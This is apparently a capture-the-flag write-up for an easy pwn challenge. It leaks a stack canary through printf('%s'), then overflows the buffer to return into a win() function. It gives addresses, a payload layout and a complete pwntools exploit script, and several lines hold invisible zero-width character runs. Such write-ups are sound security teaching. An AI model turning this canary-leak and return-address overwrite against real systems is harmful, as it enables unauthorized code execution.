← Back to Writeups
CUSTOMEasypwn

Canary leak + ret2win (string_leak)

XESXOR9/2/20263 min read
#pwn#custom#easy#canary_leak_via_printf_s#movaps_alignment_ret_gadget#single_connection_two_stage

Canary leak + ret2win (string_leak)

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: canary_leak_via_printf_s, movaps_alignment_ret_gadget, single_connection_two_stage

Summary

Task: canary-protected stack overflow with printf(%s) on the same buffer; a win() function calling system('cat flag') already exists. Solution: clobber the canary's leading NUL with a non-null byte to make printf leak the remaining 7 canary bytes, then in the same connection (the read() sits in a loop) rebuild the canary and return into a ret-gadget for movaps alignment plus win().

Canary — string_leak (mc8) — SPB CTF Pwn Season

Description

Нужно ликнуть канарейку и перетереть адрес возврата nc 109.233.56.90 11609 Binary: /files/canary/string_leak

Category: Canary, 10 pts Binary: ELF x86-64, NX, Canary ON, No PIE (base 0x400000), not stripped.

Analysis

Two functions matter:

  • win @ 0x401186 → system("cat flag") (string "cat flag" lives at 0x402010).
  • play() — the menu loop. Per iteration:
    1. puts("We can leak canary with a C string!!"), puts("What is your name?")
    2. read(0, buf[rbp-0x20], 0x80) — 128-byte read into a 24-byte buffer before the canary, so a long overflow is possible.
    3. If buf[0] == 'q' → return (which hits leave; ret and therefore __stack_chk_fail check).
    4. Otherwise printf("Hello %s !\n", buf) — classic %s leak that walks until the first \x00.
    5. Loops back to step 1. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stack frame of play():

[rbp-0x20] buf        (0x18 = 24 bytes of usable space before canary)
[rbp-0x08] canary     (8 bytes; byte 0 is always \x00 in glibc)
[rbp+0x00] saved rbp
[rbp+0x08] return address

Because the loop re-uses the same stack frame, the canary stays constant across iterations — so a two-stage exploit inside a single connection works.

Solution

Stage 1 — canary leak. Send exactly 24 × 'A' + 'B' with no newline:

  • the 24 As fill the buffer up to the canary boundary;
  • the trailing B overwrites the canary's leading \x00;
  • printf("Hello %s !", buf) then walks past our overwritten B and prints the remaining 7 canary bytes (canary[1..7]) up until the next NUL. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

We rebuild the canary as b'\x00' + leaked[25:32].

Stage 2 — ret2win. Still in the same play() iteration loop, send a payload whose first byte is 'q' so the loop exits via leave; ret:

'q' + 'A'*23          # buf (24 bytes), 'q' triggers the return path
+ canary              # restore canary -> __stack_chk_fail happy
+ 'B'*8               # saved rbp (doesn't matter, we don't return again)
+ p64(0x40101a)       # ret gadget (stack alignment for movaps in system)
+ p64(0x401186)       # win()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The extra ret gadget realigns the stack for the movaps-heavy prologue inside glibc's system, which otherwise crashes on unaligned SSE ops when called through a freshly-built ROP frame.

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

HOST, PORT = '109.233.56.90', 11609
WIN = 0x401186
RET = 0x40101a

p = remote(HOST, PORT)
p.recvuntil(b"name?")

# Stage 1 — leak canary
p.send(b'A' * 24 + b'B')           # no newline
p.recvuntil(b'Hello ')
leaked = p.recvuntil(b' !', drop=True)
assert leaked[:24] == b'A' * 24
canary = b'\x00' + leaked[25:25+7]
log.success(f"Canary = {hex(u64(canary))}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Stage 2 — ret2win on next loop iteration
payload  = b'q' + b'A' * 23
payload += canary
payload += b'B' * 8
payload += p64(RET)
payload += p64(WIN)
p.send(payload)

print(p.recvall(timeout=5).decode(errors='replace'))

win() runs system("cat flag") and the flag appears. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍